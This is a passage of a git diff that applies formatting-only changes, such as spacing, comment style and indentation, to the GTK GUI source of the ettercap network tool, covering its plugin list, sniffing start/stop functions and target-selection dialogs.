gtk_list_store_clear(GTK_LIST_STORE(ls_plugins)); else - ls_plugins = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); - + ls_plugins = gtk_list_store_new(4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); + /* go thru the list of plugins */ res = plugin_list_walk(PLP_MIN, PLP_MAX, >kui_add_plugin); - if (res == -E_NOTFOUND) { - blocked = g_signal_handlers_block_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); - gtk_list_store_append (ls_plugins, &iter); - gtk_list_store_set (ls_plugins, &iter, 0, " ", 1, "No Plugins Loaded", -1); - } else if(blocked > 0) { - g_signal_handlers_unblock_by_func (G_OBJECT (treeview), G_CALLBACK (gtkui_select_plugin), NULL); + if (res == -E_NOTFOUND) { + blocked = g_signal_handlers_block_by_func(G_OBJECT(treeview), G_CALLBACK(gtkui_select_plugin), NULL); + gtk_list_store_append(ls_plugins, &iter); + gtk_list_store_set(ls_plugins, &iter, 0, " ", 1, "No Plugins Loaded", -1); + } else if (blocked > 0) { + g_signal_handlers_unblock_by_func(G_OBJECT(treeview), G_CALLBACK(gtkui_select_plugin), NULL); blocked = 0; } } /* - * callback function for displaying the plugin list + * callback function for displaying the plugin list */ static void gtkui_add_plugin(char active, struct plugin_ops *ops) { GtkTreeIter iter; char active_str[2]; - active_str[0] = (active)?'*':' '; + active_str[0] = (active) ? '*' : ' '; active_str[1] = 0; - gtk_list_store_append (ls_plugins, &iter); - gtk_list_store_set (ls_plugins, &iter, - 0, active_str, - 1, ops->name, - 2, ops->version, - 3, ops->info, -1); + gtk_list_store_append(ls_plugins, &iter); + gtk_list_store_set(ls_plugins, &iter, + 0, active_str, + 1, ops->name, + 2, ops->version, + 3, ops->info, -1); } /* - * callback function for a plugin + * callback function for a plugin */ static void gtkui_select_plugin(void) { @@ -280,14 +278,14 @@ static void gtkui_select_plugin(void) GtkTreeModel *model; char *plugin = NULL; - model = GTK_TREE_MODEL (ls_plugins); + model = GTK_TREE_MODEL(ls_plugins); - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 1, &plugin, -1); + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(selection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 1, &plugin, -1); } else return; /* nothing is selected */ - if(!plugin) + if (!plugin) return; /* bad pointer from gtk_tree_model_get, shouldn't happen */ /* print the message */ @@ -295,7 +293,7 @@ static void gtkui_select_plugin(void) INSTANT_USER_MSG("Activating %s plugin...\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n", plugin); - + /* * pay attention on this ! * if the plugin init does not return, @@ -304,10 +302,10 @@ static void gtkui_select_plugin(void) * and immediately return */ if (plugin_is_activated(plugin) == 1) - plugin_fini(plugin); + plugin_fini(plugin); else plugin_init(plugin); - + /* refresh the list to mark plugin active */ gtkui_create_plug_array(); } @@ -329,4 +327,3 @@ gboolean gtkui_refresh_plugin_list(gpointer data) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_start.c b/src/interfaces/gtk/ec_gtk_start.c index 573825b83..988146290 100644 --- a/src/interfaces/gtk/ec_gtk_start.c +++ b/src/interfaces/gtk/ec_gtk_start.c @@ -1,34 +1,33 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include /*******************************************/ - void gtkui_start_sniffing(void) { DEBUG_MSG("gtk_start_sniffing"); - + /* start the sniffing method */ EXECUTE(GBL_SNIFF->start); } @@ -36,13 +35,11 @@ void gtkui_start_sniffing(void) void gtkui_stop_sniffing(void) { DEBUG_MSG("gtk_stop_sniffing"); - + /* terminate the sniffing engine */ EXECUTE(GBL_SNIFF->cleanup); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_targets.c b/src/interfaces/gtk/ec_gtk_targets.c index 6a933b91c..60d59baf1 100644 --- a/src/interfaces/gtk/ec_gtk_targets.c +++ b/src/interfaces/gtk/ec_gtk_targets.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -39,11 +39,11 @@ static void gtkui_targets_attach(void); static char thost[MAX_ASCII_ADDR_LEN]; -GtkWidget *targets_window = NULL; +GtkWidget *targets_window = NULL; GtkTreeSelection *selection1 = NULL; GtkTreeSelection *selection2 = NULL; -GtkListStore *liststore1 = NULL; -GtkListStore *liststore2 = NULL; +GtkListStore *liststore1 = NULL; +GtkListStore *liststore2 = NULL; /*******************************************/ @@ -62,7 +62,7 @@ void toggle_reverse(void) void wipe_targets(void) { DEBUG_MSG("wipe_targets"); - + reset_display_filter(GBL_TARGET1); reset_display_filter(GBL_TARGET2); @@ -120,32 +120,30 @@ void gtkui_select_protocol(void) if (!strncasecmp(GBL_OPTIONS->proto, "udp", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); - gtk_widget_grab_focus(gtk_dialog_get_widget_for_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK)); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { list = gtk_radio_button_get_group(GTK_RADIO_BUTTON(radio)); - for(active = 0; list != NULL; list = list->next) { + for (active = 0; list != NULL; list = list->next) { if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(list->data))) { switch (active) { - case proto_all: - strncpy(GBL_OPTIONS->proto, "all", 4); - break; - case proto_tcp: - strncpy(GBL_OPTIONS->proto, "tcp", 4); - break; - case proto_udp: - strncpy(GBL_OPTIONS->proto, "udp", 4); - break; + case proto_all: + strncpy(GBL_OPTIONS->proto, "all", 4); + break; + case proto_tcp: + strncpy(GBL_OPTIONS->proto, "tcp", 4); + break; + case proto_udp: + strncpy(GBL_OPTIONS->proto, "udp", 4); + break; } } active++; - } + } } gtk_widget_destroy(dialog); - } /* @@ -153,7 +151,7 @@ void gtkui_select_protocol(void) */ void gtkui_select_targets(void) { - GtkWidget *dialog, *label, *table, *content; + GtkWidget *dialog, *label, *table, *content; GtkWidget *frame1, *frame2; GtkWidget *t1_mac, *t1_ip, *t1_port, *t2_mac, *t2_ip, *t2_port; gint ncols = 2, nrows = 3; @@ -162,16 +160,17 @@ void gtkui_select_targets(void) nrows = 4; #endif -#define TARGET_LEN ETH_ASCII_ADDR_LEN + 1 + \ - IP_ASCII_ADDR_LEN + 1 + \ - IP6_ASCII_ADDR_LEN + 1 + \ - 5 + 1 +#define TARGET_LEN \ + ETH_ASCII_ADDR_LEN + 1 + \ + IP_ASCII_ADDR_LEN + 1 + \ + IP6_ASCII_ADDR_LEN + 1 + \ + 5 + 1 DEBUG_MSG("gtk_select_targets"); dialog = gtk_dialog_new_with_buttons("Enter Targets", GTK_WINDOW(window), - GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); @@ -184,14 +183,14 @@ void gtkui_select_targets(void) gtk_container_add(GTK_CONTAINER(content), frame2); table = gtk_table_new(nrows, ncols, FALSE); - gtk_table_set_row_spacings(GTK_TABLE (table), 5); - gtk_table_set_col_spacings(GTK_TABLE (table), 5); - gtk_container_set_border_width(GTK_CONTAINER (table), 8); - gtk_container_add(GTK_CONTAINER (frame1), table); + gtk_table_set_row_spacings(GTK_TABLE(table), 5); + gtk_table_set_col_spacings(GTK_TABLE(table), 5); + gtk_container_set_border_width(GTK_CONTAINER(table), 8); + gtk_container_add(GTK_CONTAINER(frame1), table); label = gtk_label_new("MAC:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); t1_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_mac), MAX_ASCII_ADDR_LEN); @@ -199,7 +198,7 @@ void gtkui_select_targets(void) gtk_table_attach_defaults(GTK_TABLE(table), t1_mac, 1, 2, 0, 1); label = gtk_label_new("IP address:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); t1_ip = gtk_entry_new(); @@ -209,7 +208,7 @@ void gtkui_select_targets(void) #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); t1_ipv6 = gtk_entry_new(); @@ -219,13 +218,13 @@ void gtkui_select_targets(void) #endif label = gtk_label_new("Port:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows-1, nrows, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows - 1, nrows, GTK_FILL, GTK_FILL, 0, 0); t1_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); - gtk_table_attach_defaults(GTK_TABLE(table), t1_port, 1, 2, nrows-1, nrows); + gtk_table_attach_defaults(GTK_TABLE(table), t1_port, 1, 2, nrows - 1, nrows); /* Fill previously set values */ if (GBL_OPTIONS->target1) { @@ -247,18 +246,16 @@ void gtkui_select_targets(void) g_strfreev(tokens); } - - /* Target 2: */ table = gtk_table_new(nrows, ncols, FALSE); - gtk_table_set_row_spacings(GTK_TABLE (table), 5); - gtk_table_set_col_spacings(GTK_TABLE (table), 5); - gtk_container_set_border_width(GTK_CONTAINER (table), 8); - gtk_container_add(GTK_CONTAINER (frame2), table); + gtk_table_set_row_spacings(GTK_TABLE(table), 5); + gtk_table_set_col_spacings(GTK_TABLE(table), 5); + gtk_container_set_border_width(GTK_CONTAINER(table), 8); + gtk_container_add(GTK_CONTAINER(frame2), table); label = gtk_label_new("MAC:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); t2_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_mac), MAX_ASCII_ADDR_LEN); @@ -266,7 +263,7 @@ void gtkui_select_targets(void) gtk_table_attach_defaults(GTK_TABLE(table), t2_mac, 1, 2, 0, 1); label = gtk_label_new("IP address:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); t2_ip = gtk_entry_new(); @@ -276,7 +273,7 @@ void gtkui_select_targets(void) #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); t2_ipv6 = gtk_entry_new(); @@ -286,13 +283,13 @@ void gtkui_select_targets(void) #endif label = gtk_label_new("Port:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows-1, nrows, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows - 1, nrows, GTK_FILL, GTK_FILL, 0, 0); t2_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); - gtk_table_attach_defaults(GTK_TABLE(table), t2_port, 1, 2, nrows-1, nrows); + gtk_table_attach_defaults(GTK_TABLE(table), t2_port, 1, 2, nrows - 1, nrows); /* Fill previously set values */ if (GBL_OPTIONS->target2) { @@ -316,7 +313,7 @@ void gtkui_select_targets(void) gtk_widget_show_all(dialog); - if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_OK) { + if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_FREE(GBL_OPTIONS->target1); @@ -327,26 +324,26 @@ void gtkui_select_targets(void) #ifdef WITH_IPV6 snprintf(GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s/%s", - gtk_entry_get_text(GTK_ENTRY(t1_mac)), - gtk_entry_get_text(GTK_ENTRY(t1_ip)), - gtk_entry_get_text(GTK_ENTRY(t1_ipv6)), - gtk_entry_get_text(GTK_ENTRY(t1_port))); + gtk_entry_get_text(GTK_ENTRY(t1_mac)), + gtk_entry_get_text(GTK_ENTRY(t1_ip)), + gtk_entry_get_text(GTK_ENTRY(t1_ipv6)), + gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s/%s", - gtk_entry_get_text(GTK_ENTRY(t2_mac)), - gtk_entry_get_text(GTK_ENTRY(t2_ip)), - gtk_entry_get_text(GTK_ENTRY(t2_ipv6)), - gtk_entry_get_text(GTK_ENTRY(t2_port))); + gtk_entry_get_text(GTK_ENTRY(t2_mac)), + gtk_entry_get_text(GTK_ENTRY(t2_ip)), + gtk_entry_get_text(GTK_ENTRY(t2_ipv6)), + gtk_entry_get_text(GTK_ENTRY(t2_port))); #else snprintf(GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s", - gtk_entry_get_text(GTK_ENTRY(t1_mac)), - gtk_entry_get_text(GTK_ENTRY(t1_ip)), - gtk_entry_get_text(GTK_ENTRY(t1_port))); + gtk_entry_get_text(GTK_ENTRY(t1_mac)), + gtk_entry_get_text(GTK_ENTRY(t1_ip)), + gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s", - gtk_entry_get_text(GTK_ENTRY(t2_mac)), - gtk_entry_get_text(GTK_ENTRY(t2_ip)), - gtk_entry_get_text(GTK_ENTRY(t2_port))); + gtk_entry_get_text(GTK_ENTRY(t2_mac)), + gtk_entry_get_text(GTK_ENTRY(t2_ip)), + gtk_entry_get_text(GTK_ENTRY(t2_port))); #endif set_targets(); @@ -355,7 +352,7 @@ void gtkui_select_targets(void) } /* - * set the targets + * set the targets */ static void set_targets(void) { @@ -366,11 +363,11 @@ static void set_targets(void) /* free empty filters */ if (!strcmp(GBL_OPTIONS->target1, "")) SAFE_FREE(GBL_OPTIONS->target1); - + /* free empty filters */ if (!strcmp(GBL_OPTIONS->target2, "")) SAFE_FREE(GBL_OPTIONS->target2); - + /* compile the filters */ compile_display_filter(); @@ -385,7 +382,7 @@ static void set_targets(void) void gtkui_current_targets(void) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button; - GtkCellRenderer *renderer; + GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint delete_targets1 = 1; static gint delete_targets2 = 2; @@ -394,10 +391,10 @@ void gtkui_current_targets(void) /* prepare the liststores for the target lists */ gtkui_create_targets_array(); - - if(targets_window) { - if(GTK_IS_WINDOW (targets_window)) - gtk_window_present(GTK_WINDOW (targets_window)); + + if (targets_window) { + if (GTK_IS_WINDOW(targets_window)) + gtk_window_present(GTK_WINDOW(targets_window)); else gtkui_page_present(targets_window); return; @@ -405,8 +402,8 @@ void gtkui_current_targets(void) targets_window = gtkui_page_new("Targets", >kui_targets_destroy, >kui_targets_detach); - vbox= gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (targets_window), vbox); + vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); + gtk_container_add(GTK_CONTAINER(targets_window), vbox); gtk_widget_show(vbox); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); @@ -415,59 +412,59 @@ void gtkui_current_targets(void) /* list one */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore1)); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(liststore1)); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection1 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection1, GTK_SELECTION_MULTIPLE); + selection1 = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection1, GTK_SELECTION_MULTIPLE); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Target 1", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Target 1", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); /* list two */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore2)); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(liststore2)); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection2 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection2, GTK_SELECTION_MULTIPLE); + selection2 = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection2, GTK_SELECTION_MULTIPLE); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Target 2", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Target 2", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); /* buttons */ hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Delete"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets1); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_delete_targets), &delete_targets1); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target1), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_add_target1), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Delete"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets2); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_delete_targets), &delete_targets2); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target2), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_add_target2), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); @@ -477,16 +474,16 @@ void gtkui_current_targets(void) static void gtkui_targets_detach(GtkWidget *child) { targets_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (targets_window), "Current Targets"); - gtk_window_set_default_size(GTK_WINDOW (targets_window), 400, 300); - g_signal_connect (G_OBJECT (targets_window), "delete_event", G_CALLBACK (gtkui_targets_destroy), NULL); + gtk_window_set_title(GTK_WINDOW(targets_window), "Current Targets"); + gtk_window_set_default_size(GTK_WINDOW(targets_window), 400, 300); + g_signal_connect(G_OBJECT(targets_window), "delete_event", G_CALLBACK(gtkui_targets_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(targets_window, gtkui_targets_attach); - gtk_container_add(GTK_CONTAINER (targets_window), child); + gtk_container_add(GTK_CONTAINER(targets_window), child); - gtk_window_present(GTK_WINDOW (targets_window)); + gtk_window_present(GTK_WINDOW(targets_window)); } static void gtkui_targets_attach(void) @@ -503,7 +500,7 @@ static void gtkui_targets_destroy(void) /* * create the array for the widget. - * erase any previously alloc'd array + * erase any previously alloc'd array */ void gtkui_create_targets_array(void) { @@ -513,49 +510,49 @@ void gtkui_create_targets_array(void) DEBUG_MSG("gtk_create_targets_array"); - if(liststore1) - gtk_list_store_clear(GTK_LIST_STORE (liststore1)); + if (liststore1) + gtk_list_store_clear(GTK_LIST_STORE(liststore1)); else - liststore1 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); - + liststore1 = gtk_list_store_new(2, G_TYPE_STRING, G_TYPE_POINTER); + /* walk TARGET 1 */ LIST_FOREACH(il, &GBL_TARGET1->ips, next) { /* enlarge the array */ - gtk_list_store_append (liststore1, &iter); + gtk_list_store_append(liststore1, &iter); /* fill the element */ - gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); + gtk_list_store_set(liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #ifdef WITH_IPV6 /* walk TARGET 1 - IPv6 */ LIST_FOREACH(il, &GBL_TARGET1->ip6, next) { /* enlarge the array */ - gtk_list_store_append (liststore1, &iter); + gtk_list_store_append(liststore1, &iter); /* fill the element */ - gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); + gtk_list_store_set(liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif - if(liststore2) - gtk_list_store_clear(GTK_LIST_STORE (liststore2)); + if (liststore2) + gtk_list_store_clear(GTK_LIST_STORE(liststore2)); else - liststore2 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); - + liststore2 = gtk_list_store_new(2, G_TYPE_STRING, G_TYPE_POINTER); + /* walk TARGET 2 */ LIST_FOREACH(il, &GBL_TARGET2->ips, next) { /* enlarge the array */ - gtk_list_store_append (liststore2, &iter); + gtk_list_store_append(liststore2, &iter); /* fill the element */ - gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); + gtk_list_store_set(liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } - + #ifdef WITH_IPV6 /* walk TARGET 2 - IPv6 */ LIST_FOREACH(il, &GBL_TARGET2->ip6, next) { /* enlarge the array */ - gtk_list_store_append (liststore2, &iter); + gtk_list_store_append(liststore2, &iter); /* fill the element */ - gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); + gtk_list_store_set(liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif } @@ -566,7 +563,7 @@ void gtkui_create_targets_array(void) static void gtkui_add_target1(void *entry) { /* variable not used */ - (void) entry; + (void)entry; DEBUG_MSG("gtk_add_target1"); @@ -576,7 +573,7 @@ static void gtkui_add_target1(void *entry) static void gtkui_add_target2(void *entry) { /* variable not used */ - (void) entry; + (void)entry; DEBUG_MSG("gtk_add_target2"); @@ -586,15 +583,15 @@ static void gtkui_add_target2(void *entry) static void add_target1(void) { struct ip_addr host; - + if (ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } - + add_ip_list(&host, GBL_TARGET1); - + /* refresh the list */ gtkui_create_targets_array(); } @@ -602,20 +599,21 @@ static void add_target1(void) static void add_target2(void) { struct ip_addr host; - + if (ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } - + add_ip_list(&host, GBL_TARGET2); - + /* refresh the list */ gtkui_create_targets_array(); } -static void gtkui_delete_targets(GtkWidget *widget, gpointer data) { +static void gtkui_delete_targets(GtkWidget *widget, gpointer data) +{ GList *list = NULL; GtkTreeIter iter; GtkTreeModel *model; @@ -623,56 +621,55 @@ static void gtkui_delete_targets(GtkWidget *widget, gpointer data) { gint *type = data; /* variable not used */ - (void) widget; + (void)widget; if (type == NULL) - return; + return; - switch(*type) { - case 1: - DEBUG_MSG("gtkui_delete_target: list 1"); - model = GTK_TREE_MODEL (liststore1); + switch (*type) { + case 1: + DEBUG_MSG("gtkui_delete_target: list 1"); + model = GTK_TREE_MODEL(liststore1); - if(gtk_tree_selection_count_selected_rows(selection1) > 0) { - list = 